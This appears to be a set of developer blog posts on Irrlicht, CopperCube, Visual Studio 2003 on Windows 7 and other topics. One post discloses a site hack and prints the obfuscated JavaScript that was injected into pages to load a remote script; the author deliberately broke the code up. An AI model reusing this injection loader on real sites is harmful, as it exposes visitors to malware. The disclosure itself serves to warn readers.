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How to make Visual Studio .NET 2003 run on Windows 7

Microsoft decided to drop support for several versions of its Visual Studio, but still people like me have to work with it. I still need to run Visual Studio .NET 2003 from time to time, but since Vista, it's not that easy anymore. And Win7 seems to have been the nail into its coffin: Starting the IDE will work, but running the compiler already fails with senseless error messages.
Which is, from a technical point of view a bit ridiculous, btw. I remember having payed a lot of money for this piece of unsupported CENSORED.

Anyway, after playing around a bit, if you have the same problem, there is a simple way to make Visual Studio .NET 2003 run on Windows 7 even without the XP VM: Install SP1 and in the Properties of the Visual Studio startup icon on the desktop or in the task bar, select the 'Compatibility' tab and use 'Compatibility mode for Windows Vista SP1'. Don't use the Windows XP compatibility mode, it won't work. Additionally, disable 'Visual Designs' and 'Desktop Composition'. After this VS 2003 will run, compile and stop crashing. Unfortunately, running your programs in the debugger will slow them down by about a factor of 5.

But better than nothing. At least we've got new colorful icons with Win7 now, right? :)

Website Hacked

Two websites I'm running, Ambiera.com and this site, Irrlicht3d.org have been hacked yesterday. We are not sure yet how this happened, but if you visited this blog or Ambiera.com yesterday between 10 and 12 o'clock (UTC +1), it might be a good idea to run some anti virus software on your PC, I cannot say what the attacker extactly wanted to do: Somebody attached a javascript to the bottom of a few html sites. The code looked like this:

var Gldapnhsg069 = document.createElement('s$@c###(r^i&)p@&@t^)'.replace(/#|\^|\$|&|@|\!|\(|\)/ig, ''));
var Hd1voqaixds8 = 'E1usw40fczkxa7';Gldapnhsg069.setAttribute('type', 't(^$e)x)t)(^/)@j(@a^v^&a#!#s$!c@&r@i^&&p)t!^'.
replace(/\)|\(|&|#|\^|\!|\$|@/ig, ''));Gldapnhsg069.setAttribute('src', 'h!&(t(t!(p#:))!^/#/#!$f^r&@!e(&e&#^o(@n$e!s)$-
replace(/\!|\$|&|@|\(|\)|#|\^/ig, ''));Gldapnhsg069.setAttribute('defer', 'd(!@e^()f$$(@e)#r@)'.
replace(/@|\^|\)|\(|&|\$|\!|#/ig, ''));Gldapnhsg069.setAttribute('id', 'G@$@&0@!$&m&7$@@!p(@$!!x
($c$d^$8$&c(^$$4&!w((^)4$$&@'.replace(/@|\$|\!|&|\)|\^|#|\(/ig, ''));
document.body.appendChild(Gldapnhsg069);}} catch(Cla4d3870kj7) {}

(some random line breaks added by me for security)
I have not looked what this actually does, but if you are interested, feel free to have a look at this. Thanks to Jetro for quickly letting me know about this problem!

Happy Holidays - Small X-Mas Present for you

Heading off for some days in the snowy mountains of Austria, so this blog might be a bit quiet in the next days. Here's some X-mas 'present' for you until I'm back again:

Enter 'ENDOF2009' as coupon code when buying CopperCube or irrFuscator and you pay 20% less (that's up to 59 euro!).

This will work only a few days, until Thursday next week (31th of December).
Happy holidays!

Modern Warfare 2 Mini-Review

Because everybody was talking about it, I've been playing Call of Duty: Modern Warfare 2 recently a bit.

It's a nice game, especially the single player campaign: Nicely scripted missions in beautifully edited 3d scenes which feels like you are playing in a Hollywood movie (actually, the story and dialogs have about the same non-existent depth and logic as those movies) and it's quite fun to watch the AI fight on your side through those heavily scripted levels.

Unfortunately the single player part is pretty short (played through it in about 2 evenings), and so I tested the multiplayer mode for about... estimating... 300 games (omg). Playing online in Deathmatch/CaptureTheFlag/AndWhatNot modes is similar to other shooters, but they combined it with an RPG like component giving your access to more weapons and features the more you play. Which somehow triggered the RPG-Player in me and efficiently consumed a lot of my free time. Fortunately, a lot of players recently started to use cheats like auto aim bots which takes the fun out of the game and I finally was able to stop myself. :)

Summarized: A nice game, worth having a look.

CopperCube 1.1.2 released

CopperCube 1.1.2 is now available. I also created a new demo to show some of the new features:

Controls: Simply click the buttons. The model and textures have been created by Psionic3d.

The demo shows the 2D overlays and some new actions. I didn't need to write any code for this demo. CopperCube now also supports transparent background rendering (wmode=transparent).

An exporter to create .irr files so you can use CopperCube to create Irrlicht scenes didn't make it into this release, but I'm planning to have it in the next version.

You can download CopperCube here.

irrEdit downloads currently unavailable

The irrEdit download server is currently not available. Going to fix this as fast as possible.
Update: fixed now.

Irrlicht 1.5.2 out now

Irrlicht 1.5.2 is out, it's mainly a bug fix release. To repeat what I just wrote on the Irrlicht website:

We just released an update to the 1.5 branch of the Irrlicht engine, version 1.5.2. It contains several updates and bugfixes, related to terrain smoothing, joystick support, OS/XCode updates and MS3D loader fixes. Happy downloading!

Scare Mail from the Handelsgericht

I'm usually not getting a lot of mail from the Commercial Court of Vienna (aka Handelsgericht), but today I did. Letters from this institution look pretty scary, and finding this one in my post office box made me shortly hold my breath and let me think 'omg, what did I do wrong?'.

The big fat characters on top of the letter, reading B E S C H L U S S (german, 'decision') didn't really help to calm me down either. But reading on, it only was a notice letting me know that they acknowledge that the Ambiera office now has moved to the new office.

Thanks, Handelsgericht. Wouldn't it be even cooler to let those letters be delivered by police men? Just for those of us with dicky hearts? :)

Adding a 2D Editor into a 3D Editor

I'm planning to add a new feature to CopperCube: 2D Overlays, in order to make it possible to easily create 2D menus, buttons, health indicators and similar. For this, I need an editor for 2D elements, since CopperCube currently is only able to edit 3d scenes. I thought about using an external editor or writing a simple 2d editor directly integrated into CopperCube, but I found a better way: Simply reuse the 3d editor and make it also edit 2d items:

The 2D item on the left also has those arrows as the 3D item on the right and in fact, this is the same object. The editor doesn't really know anything about that item being 2D instead of 3D, only the code of the arrows needed a bit of adaption to let them draw themselves in 2D. I was quite surprised after everything worked already with very few code adaptions.

And I think this also works great from a user perpective: The 2D editor works exactly as the 3D one, no need to new short cuts or special menu items. I hope this feature makes it into a release before the end of the year.


Recently I received the following complaint about a Darkness Springs account:

Purchased the Darkness Spring premium account for my daughter...inputed the liscense key in. The key failed to open the account. Attempted several times, always restarting from the begining. I will allow 24 hours for the issue to be resolved... after with time I will dispute all charges, and list the game as a scam on the boards.

Obviously, this guy tried to enter the license key where he should enter either his user name or password. And then threatens me to list my game as scam because he is a bit too stup unexperienced to do what hundreds of people were able to do without any problem before. What would you answer?

Here is my mail:

[Skipped: Friendly description of what he probably did wrong and what he should do to go on playing.]

I will allow you 24 hours for the code to be correctly entered, after which I will list you on the 'no-game' list and you will no longer be able to purchase any computer game for life.

Unfortunately, I didn't get any response after this. But you never get back anything from those people once their problem is resolved, not even a thank you or 'sorry'. :/

Voize now open source

Niko Rosvall just made his audio player voize open source. It's now hosted on google code and using the MIT License. It's using irrKlang as audio library.

StairDismount for iPhone - created using Irrlicht

Maybe you've read this already - tonic mentioned it in the comments on this blog, but just to be sure, I'll blog it here again: Secret Exit Ltd created Stair Dismount for the iPhone using Irrlicht. I played the original game back then in (probably?) 2002 and had a lot of fun :) If you don't know what this game is, there is a short video showing the main features of the game.

Blind Point

Blind Point is a commercial 3D space racing game that was build on Irrlicht, created by Bandit Rogue Interactive Ltd. Looks interesting.


I'm back again, thanks for all the Gesundheitswünsche. You'll all get a special credit in my next book 'How I survived the swine flu'. :)